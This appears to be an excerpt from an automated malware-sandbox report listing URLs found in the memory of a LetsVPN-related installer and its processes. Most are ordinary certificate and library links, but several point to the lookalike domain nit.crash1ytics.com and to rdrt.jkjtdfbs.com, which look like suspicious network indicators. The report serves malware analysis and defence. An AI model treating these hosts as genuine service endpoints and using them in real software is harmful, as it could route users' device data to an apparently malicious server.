Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/radiobuttondictionary.bamld
Source: LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/scrollviewdictionary.baml
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032D4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/scrollviewdictionary.bamld
Source: LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/tabcontrollerdictionary.baml
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/tabcontrollerdictionary.bamld
Source: LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/textboxdictionary.baml
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/textboxdictionary.bamld
Source: LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/windowdictionary.baml
Source: LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032D4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/windowdictionary.bamld
Source: LetsPRO.exe, 00000044.00000002.2602011812.0000000005702000.00000002.00000001.01000000.0000001D.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: LetsPRO.exe, 00000044.00000002.2600423293.0000000005442000.00000002.00000001.01000000.0000001B.sdmp	String found in binary or memory: http://logging.apache.org/log4net/release/faq.html#trouble-EventLog
Source: letsvpn-latest.exe, 00000013.00000000.2129027999.000000000040A000.00000008.00000001.01000000.0000000D.sdmp, letsvpn-latest.exe, 00000013.00000003.2369349902.0000000000565000.00000004.00000020.00020000.00000000.sdmp, letsvpn-latest.exe, 00000013.00000002.2429590855.000000000040A000.00000004.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000019.00000002.2294187021.0000000005B29000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4536454539.0000000004366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: KLL.exe, 00000000.00000003.2083647219.0000014B5D69D000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4520319907.0000000001307000.00000004.00000020.00020000.00000000.sdmp, System.Data.Common.dll.19.dr, ToastNotifications.Messages.dll.19.dr, System.Linq.Queryable.dll.19.dr, System.Runtime.Serialization.Primitives.dll.19.dr, System.Windows.Interactivity.dll.19.dr, System.Diagnostics.FileVersionInfo.dll.19.dr, System.Runtime.Numerics.dll.19.dr, System.Web.Services.Description.resources.dll10.19.dr, System.Data.Odbc.dll.19.dr, Microsoft.Win32.Registry.AccessControl.dll.19.dr, System.Threading.Thread.dll.19.dr, System.Diagnostics.TraceSource.dll.19.dr, WebView2Loader.dll1.19.dr, System.Threading.Timer.dll.19.dr, System.ValueTuple.dll.19.dr, System.Security.Cryptography.Encoding.dll.19.dr, LetsPRO.resources.dll2.19.dr, CommunityToolkit.Mvvm.dll.19.dr, System.Web.Services.Description.resources.dll0.19.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: KLL.exe, 00000000.00000003.2083647219.0000014B5D69D000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2083572061.0000014B5F2F1000.00000004.00000020.00020000.00000000.sdmp, System.Data.Common.dll.19.dr, ToastNotifications.Messages.dll.19.dr, System.Linq.Queryable.dll.19.dr, System.Runtime.Serialization.Primitives.dll.19.dr, System.Windows.Interactivity.dll.19.dr, System.Diagnostics.FileVersionInfo.dll.19.dr, System.Runtime.Numerics.dll.19.dr, System.Web.Services.Description.resources.dll10.19.dr, System.Data.Odbc.dll.19.dr, Microsoft.Win32.Registry.AccessControl.dll.19.dr, System.Threading.Thread.dll.19.dr, System.Diagnostics.TraceSource.dll.19.dr, WebView2Loader.dll1.19.dr, System.Threading.Timer.dll.19.dr, System.ValueTuple.dll.19.dr, System.Security.Cryptography.Encoding.dll.19.dr, LetsPRO.resources.dll2.19.dr, CommunityToolkit.Mvvm.dll.19.dr, System.Web.Services.Description.resources.dll0.19.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: KLL.exe, 00000000.00000003.2083647219.0000014B5D69D000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2083572061.0000014B5F2F1000.00000004.00000020.00020000.00000000.sdmp, System.Data.Common.dll.19.dr, ToastNotifications.Messages.dll.19.dr, System.Linq.Queryable.dll.19.dr, System.Runtime.Serialization.Primitives.dll.19.dr, System.Windows.Interactivity.dll.19.dr, System.Diagnostics.FileVersionInfo.dll.19.dr, System.Runtime.Numerics.dll.19.dr, System.Web.Services.Description.resources.dll10.19.dr, System.Data.Odbc.dll.19.dr, Microsoft.Win32.Registry.AccessControl.dll.19.dr, System.Threading.Thread.dll.19.dr, System.Diagnostics.TraceSource.dll.19.dr, WebView2Loader.dll1.19.dr, System.Threading.Timer.dll.19.dr, System.ValueTuple.dll.19.dr, System.Security.Cryptography.Encoding.dll.19.dr, LetsPRO.resources.dll2.19.dr, CommunityToolkit.Mvvm.dll.19.dr, System.Web.Services.Description.resources.dll0.19.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: KLL.exe, 00000000.00000003.2083647219.0000014B5D69D000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2083572061.0000014B5F2F1000.00000004.00000020.00020000.00000000.sdmp, System.Data.Common.dll.19.dr, ToastNotifications.Messages.dll.19.dr, System.Linq.Queryable.dll.19.dr, System.Runtime.Serialization.Primitives.dll.19.dr, System.Windows.Interactivity.dll.19.dr, System.Diagnostics.FileVersionInfo.dll.19.dr, System.Runtime.Numerics.dll.19.dr, System.Web.Services.Description.resources.dll10.19.dr, System.Data.Odbc.dll.19.dr, Microsoft.Win32.Registry.AccessControl.dll.19.dr, System.Threading.Thread.dll.19.dr, System.Diagnostics.TraceSource.dll.19.dr, WebView2Loader.dll1.19.dr, System.Threading.Timer.dll.19.dr, System.ValueTuple.dll.19.dr, System.Security.Cryptography.Encoding.dll.19.dr, LetsPRO.resources.dll2.19.dr, CommunityToolkit.Mvvm.dll.19.dr, System.Web.Services.Description.resources.dll0.19.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: System.ObjectModel.dll.19.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: powershell.exe, 00000019.00000002.2289311446.0000000004C16000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4522692065.00000000031F3000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4522692065.00000000033E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: KLL.exe, 00000000.00000002.2144478428.00007FF702033000.00000004.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000000.2035226671.00007FF701A0E000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://repository.certum.pl/cscasha2.cer0
Source: KLL.exe, 00000000.00000002.2141572454.00007FF701BE4000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000000.2035226671.00007FF701A0E000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://repository.certum.pl/ctnca.cer0
Source: KLL.exe, 00000000.00000002.2144478428.00007FF702033000.00000004.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000000.2035226671.00007FF701A0E000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://repository.certum.pl/ctnca.cer09
Source: uc_ctrl.exe, 00000010.00000003.2111987373.00000000011AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: uc_ctrl.exe, 00000010.00000003.2111987373.00000000011AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp, LetsPRO.exe, 00000034.00000002.4522692065.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.fontawesome.io/icons/
Source: powershell.exe, 00000019.00000002.2289311446.0000000004C16000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4522692065.00000000033E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000016.00000002.2142060618.0000000005027000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2289311446.0000000004AC1000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4522692065.0000000002F91000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000019.00000002.2289311446.0000000004C16000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4522692065.00000000033E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: KLL.exe, 00000000.00000002.2141572454.00007FF701BE4000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000002.2144478428.00007FF702033000.00000004.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000000.2035226671.00007FF701A0E000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://subca.ocsp-certum.com01
Source: uc_ctrl.exe, 00000010.00000003.2111987373.00000000011AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: uc_ctrl.exe, 00000010.00000003.2111987373.00000000011AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: uc_ctrl.exe, 00000010.00000003.2111987373.00000000011AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://wpfanimatedgif.codeplex.com
Source: powershell.exe, 00000019.00000002.2289311446.0000000004C16000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4522692065.00000000031F3000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4522692065.00000000033E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: KLL.exe, 00000000.00000002.2141572454.00007FF701BE4000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000002.2144478428.00007FF702033000.00000004.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000000.2035226671.00007FF701A0E000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.certum.pl/CPS0
Source: LetsPRO.exe, 00000034.00000002.4585596709.0000000037F82000.00000002.00000001.01000000.00000032.sdmp, LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.hardcodet.net/taskbar
Source: LetsPRO.exe, 00000048.00000002.2677666838.00000000032D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.hardcodet.net/taskbar0
Source: uc_ctrl.exe, 00000010.00000003.2111987373.00000000011AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.isimba.cn0
Source: uc_ctrl.exe, 00000010.00000003.2111987373.00000000011AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: uc_ctrl.exe, 00000010.00000003.2111987373.00000000011AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: System.Data.Odbc.dll.19.dr	String found in binary or memory: http://www.xmlspy.com)
Source: LetsPRO.exe, 00000034.00000002.4555074935.000000000F892000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://0.0.0.0%2F0debuginfodebug
Source: LetsPRO.exe, 00000034.00000002.4555074935.000000000F892000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://0.0.0.0%2F0debuginfodebuginfoinfoinfoinfoinfoHTTP/1.1
Source: LetsPRO.exe, 00000034.00000002.4559763761.000000000FBE4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://USUS2.B
Source: LetsPRO.exe, 00000034.00000002.4554290604.000000000F822000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://USUS2.CERTIFICATE
Source: LetsPRO.exe, 00000034.00000002.4558392700.000000000F9E6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://WSASend0.0.0.0%2F0WSARecvinfoinfo
Source: powershell.exe, 00000016.00000002.2142060618.000000000500A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2142060618.0000000004FF9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2289311446.0000000004AC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBsq
Source: LetsPRO.exe, 00000034.00000002.4551634567.0000000006322000.00000002.00000001.01000000.0000001E.sdmp, CommunityToolkit.Mvvm.dll.19.dr	String found in binary or memory: https://aka.ms/toolkit/dotnet
Source: LetsPRO.exe, 00000034.00000002.4536454539.0000000004366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: LetsPRO.exe, 00000034.00000002.4536454539.0000000004366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: LetsPRO.exe, 00000034.00000002.4536454539.0000000004366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: uc_ctrl.exe, 00000010.00000003.2111987373.00000000011AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: uc_ctrl.exe, 00000010.00000003.2111987373.00000000011AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: LetsPRO.exe, 00000034.00000002.4648506124.00000000689E9000.00000002.00000001.01000000.00000024.sdmp	String found in binary or memory: https://d1dmgcawtbm6l9.cloudfront.net/rest-apiinvalid
Source: LetsPRO.resources.dll2.19.dr	String found in binary or memory: https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/3130411-smartbyte-%E8%BD%AF%E4%BB%B6
Source: LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/3401886-special-settings-for-smartby
Source: LetsPRO.resources.dll2.19.dr	String found in binary or memory: https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/8259671-expressconnect-%E6%9C%8D%E5%
Source: LetsPRO.resources.dll2.19.dr	String found in binary or memory: https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/8260054-killer-%E7%BD%91%E5%8D%A1%E6
Source: LetsPRO.resources.dll2.19.dr	String found in binary or memory: https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/8260083-host-network-service-%E9%9C%
Source: LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/8262720-special-settings-for-host-ne
Source: LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/8262786-special-settings-for-express
Source: LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/8262801-special-settings-for-killer-
Source: LetsPRO.resources.dll2.19.dr	String found in binary or memory: https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/8263010-windows-%E5%A6%82%E4%BD%95%E
Source: LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/8263068-how-to-delete-hosts-in-windo
Source: svchost.exe, 0000000C.00000003.2068735303.0000020BD3CA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 0000000C.00000003.2068735303.0000020BD3C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: LetsPRO.exe, 00000034.00000002.4551634567.0000000006322000.00000002.00000001.01000000.0000001E.sdmp, CommunityToolkit.Mvvm.dll.19.dr	String found in binary or memory: https://github.com/CommunityToolkit/dotnet
Source: LetsPRO.exe, 00000044.00000002.2602011812.0000000005702000.00000002.00000001.01000000.0000001D.sdmp	String found in binary or memory: https://github.com/JamesNK/Newtonsoft.Json
Source: powershell.exe, 00000019.00000002.2289311446.0000000004C16000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4522692065.00000000031F3000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4522692065.00000000033E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: LetsPRO.exe, 00000034.00000002.4552613363.0000000006402000.00000002.00000001.01000000.00000020.sdmp	String found in binary or memory: https://github.com/dotnet/corefx/tree/32b491939fbd125f304031c35038b1e14b4e3958
Source: LetsPRO.exe, 00000034.00000002.4552613363.0000000006402000.00000002.00000001.01000000.00000020.sdmp	String found in binary or memory: https://github.com/dotnet/corefx/tree/32b491939fbd125f304031c35038b1e14b4e39588
Source: LetsPRO.exe, 00000034.00000002.4552261430.00000000063D2000.00000002.00000001.01000000.00000022.sdmp	String found in binary or memory: https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f
Source: LetsPRO.exe, 00000034.00000002.4552307737.00000000063D6000.00000002.00000001.01000000.00000022.sdmp	String found in binary or memory: https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f8
Source: System.Data.Odbc.dll.19.dr, Microsoft.Win32.Registry.AccessControl.dll.19.dr	String found in binary or memory: https://github.com/dotnet/runtime
Source: Microsoft.Win32.Registry.AccessControl.dll.19.dr	String found in binary or memory: https://github.com/dotnet/runtime&
Source: LetsPRO.exe, 00000034.00000002.4560889921.000000002FF02000.00000002.00000001.01000000.00000027.sdmp, LetsPRO.exe, 00000034.00000002.4522692065.000000000303A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://in.appcenter.ms
Source: LetsPRO.exe, 00000034.00000002.4560889921.000000002FF02000.00000002.00000001.01000000.00000027.sdmp	String found in binary or memory: https://in.appcenter.ms./logs?api-version=1.0.0
Source: letsvpn-latest.exe, 00000013.00000003.2429212628.00000000004FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://intercom.help/letsvpn-world/-N
Source: LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp, LetsPRO.resources.dll2.19.dr	String found in binary or memory: https://intercom.help/letsvpn-world/en/articles/2780068-%E5%A6%82%E4%BD%95%E4%B8%8B%E8%BD%BD%E5%BE%9
Source: LetsPRO.resources.dll2.19.dr	String found in binary or memory: https://intercom.help/letsvpn-world/en/articles/2825583-killer-%E7%BD%91%E5%8D%A1%E9%9C%80%E8%A6%81%
Source: LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://intercom.help/letsvpn-world/en/articles/2830420-special-settings-for-killer-networking-produ
Source: LetsPRO.resources.dll2.19.dr	String found in binary or memory: https://intercom.help/letsvpn-world/en/articles/2907458-%E6%8F%90%E7%A4%BA%E7%BB%91%E5%AE%9A%E8%AE%B
Source: LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp, LetsPRO.resources.dll2.19.dr	String found in binary or memory: https://intercom.help/letsvpn-world/en/articles/2907649-%E9%80%9A%E8%BF%87%E7%94%B3%E8%BF%B0%E6%89%B
Source: LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://intercom.help/letsvpn-world/en/articles/2925752-how-to-download-letsvpn
Source: LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://intercom.help/letsvpn-world/en/articles/2926044-what-if-i-reached-maximum-connection-limit
Source: LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://intercom.help/letsvpn-world/en/articles/2926062-recover-my-letsvpn-account
Source: LetsPRO.resources.dll2.19.dr	String found in binary or memory: https://intercom.help/letsvpn-world/en/articles/3076586-ipv6-%E7%BD%91%E7%BB%9C%E5%8D%8F%E8%AE%AE%E9
Source: LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://intercom.help/letsvpn-world/en/articles/3081101-adjust-the-settings-for-ipv6
Source: LetsPRO.resources.dll2.19.dr	String found in binary or memory: https://intercom.help/letsvpn-world/en/articles/3706909-%E8%B4%A6%E6%88%B7%E7%B3%BB%E7%BB%9F%E6%97%A
Source: LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://intercom.help/letsvpn-world/en/articles/3710603-about-logging-in-out-anomalies
Source: LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp, LetsPRO.resources.dll2.19.dr	String found in binary or memory: https://intercom.help/letsvpn-world/en/collections/1611781-%E4%B8%AD%E6%96%87%E5%B8%AE%E5%8A%A9
Source: LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp, LetsPRO.exe, 00000034.00000002.4522692065.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://intercom.help/letsvpn-world/en/collections/1628560-help-documents
Source: LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://intercom.help/letsvpn-world/en/collections/Killer
Source: LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp, LetsPRO.resources.dll2.19.dr	String found in binary or memory: https://letsvpn.world/privacy.html
Source: LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp, LetsPRO.resources.dll2.19.dr	String found in binary or memory: https://letsvpn.world/registerterm.html
Source: LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp, LetsPRO.resources.dll2.19.dr	String found in binary or memory: https://letsvpn.world/terms.html
Source: LetsPRO.exe, 00000034.00000002.4555599565.000000000F8B6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nit.crash1ytics.com
Source: LetsPRO.exe, 00000034.00000002.4558432196.000000000F9F2000.00000004.00001000.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4554146521.000000000F806000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nit.crash1ytics.com/app32/device
Source: LetsPRO.exe, 00000034.00000002.4554290604.000000000F822000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nit.crash1ytics.com/app32/deviceHh
Source: LetsPRO.exe, 00000034.00000002.4555074935.000000000F886000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nit.crash1ytics.com/app32/devicehttps://nit.crash1ytics.com/app32/device
Source: LetsPRO.exe, 00000034.00000002.4554290604.000000000F822000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nit.crash1ytics.com/app32/devicehttps://nit.crash1ytics.com/app32/deviceH
Source: LetsPRO.exe, 00000034.00000002.4554290604.000000000F822000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nit.crash1ytics.com/app32/devicehttps://nit.crash1ytics.com/app32/deviceHt
Source: LetsPRO.exe, 00000034.00000002.4555074935.000000000F886000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nit.crash1ytics.com/app32/devicehttps://nit.crash1ytics.com/app32/deviceH~
Source: LetsPRO.exe, 00000034.00000002.4558940725.000000000FA54000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nit.crash1ytics.comU
Source: LetsPRO.exe, 00000034.00000002.4558940725.000000000FA54000.00000004.00001000.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4555599565.000000000F8B6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nit.crash1ytics.coma90bc2279e3aaca6280acf90463a10dehttps://nit.crash1ytics.com
Source: LetsPRO.exe, 00000034.00000002.4555599565.000000000F8B6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nit.crash1ytics.coma90bc2279e3aaca6280acf90463a10dehttps://nit.crash1ytics.comSC-Set-NetIPIn
Source: LetsPRO.exe, 00000034.00000002.4555599565.000000000F8B6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nit.crash1ytics.coma90bc2279e3aaca6280acf90463a10dehttps://nit.crash1ytics.comk
Source: LetsPRO.exe, 00000034.00000002.4555599565.000000000F8B6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nit.crash1ytics.commg
Source: powershell.exe, 00000019.00000002.2294187021.0000000005B29000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4536454539.0000000004366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://pngimg.com/uploads/light/light_PNG14440.png
Source: LetsPRO.resources.dll2.19.dr	String found in binary or memory: https://rdrt.jkjtdfbs.com/letsvpn-world/en/articles/8260070-intel-connectivity-service-%E9%9C%80%E8%
Source: LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://rdrt.jkjtdfbs.com/letsvpn-world/en/articles/8262690-special-settings-for-intel-connectivity-
